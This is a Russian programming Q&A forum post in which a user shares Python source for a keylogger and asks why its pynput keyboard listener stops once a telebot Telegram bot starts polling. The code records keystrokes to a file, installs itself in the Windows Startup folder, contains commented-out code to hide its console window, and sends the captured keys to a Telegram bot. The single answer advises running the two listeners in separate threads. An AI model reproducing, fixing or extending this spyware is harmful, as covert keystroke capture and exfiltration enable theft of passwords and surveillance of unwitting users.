Задать вопрос

Слушатели мешают друг другу?

Доброго времени суток , решил написать маленький кейлогер на пайтоне и заметил что слушатель с модуля pynput мешает слушателю telebot'а , Вопрос как мне запустить данный код в одном файле?
import pynput
import requests
from pynput.keyboard import Key, Listener
import getpass
import ctypes
import os
import win32process

#hwnd = ctypes.windll.kernel32.GetConsoleWindow()
#if hwnd != 0:
#    ctypes.windll.user32.ShowWindow(hwnd, 0)
#    ctypes.windll.kernel32.CloseHandle(hwnd)
#    _, pid = win32process.GetWindowThreadProcessId(hwnd)
#    os.system('taskkill /PID ' + str(pid) + ' /f')

USER_NAME = getpass.getuser()

def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
    with open(bat_path + '\\' + "open.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)

add_to_startup()

keys = []
token = 'токен'
admin_chat_id = 'айди чата)'

def on_press(key):
	global keys
	keys.append(str(key).replace("'", ''))
	if len(keys) > 30:
		write_file(keys)
		send_log_via_telegram(keys)
		keys = []


def on_release(key):
	pass


def write_file(keys):
	with open('log.txt', "a") as f:
		for k in keys:
			if 'space' in k:
				f.write('\n')
			else:
				f.write(k)




def send_log_via_telegram(keys):
	requests.get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={admin_chat_id}&text={''.join(keys)}")

bot = telebot.TeleBot(token)

@bot.message_handler(commands=['start'])
def start_message(message):
	doc = open('log.txt', 'rb')
	bot.send_document(chat_id, doc)

@bot.message_handler(commands=['del'])
def start_message(message):
	os.remove("win32.exe")

bot.polling()
# вот тут два слушателя мешаются друг другу , если начинает работать слушатель бота , то перестает работать слушатель pynput
with Listener(on_press=on_press, on_release=on_release) as listener:
	listener.join()

в будущем планируется превратить файл в exe
  • Вопрос задан
  • 118 просмотров
Подписаться 1 Простой Комментировать
Помогут разобраться в теме Все курсы
  • Нетология
    Python-разработчик: расширенный курс + нейросети
    12 месяцев
    Далее
  • Академия Эдюсон
    Python-разработчик
    9 месяцев
    Далее
  • ProductStar × РБК
    Профессия: Python-разработчик + ИИ
    8 месяцев
    Далее
Пригласить эксперта
Ответы на вопрос 1
HemulGM
@HemulGM Куратор тега Python
Delphi Developer, сис. админ
В разных потоках запускать.
bot.polling() запускает бесконечный цикл и не выходит из него никогда, потому что СЛУШАЕТ.

P.S.
"кейлоггер" ахахха. Стыдно
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы
ITK academy Краснодар
от 220 000 до 300 000 ₽
ITK academy Краснодар
от 75 000 ₽
DimaTech Ltd Краснодар
от 140 000 до 140 000 ₽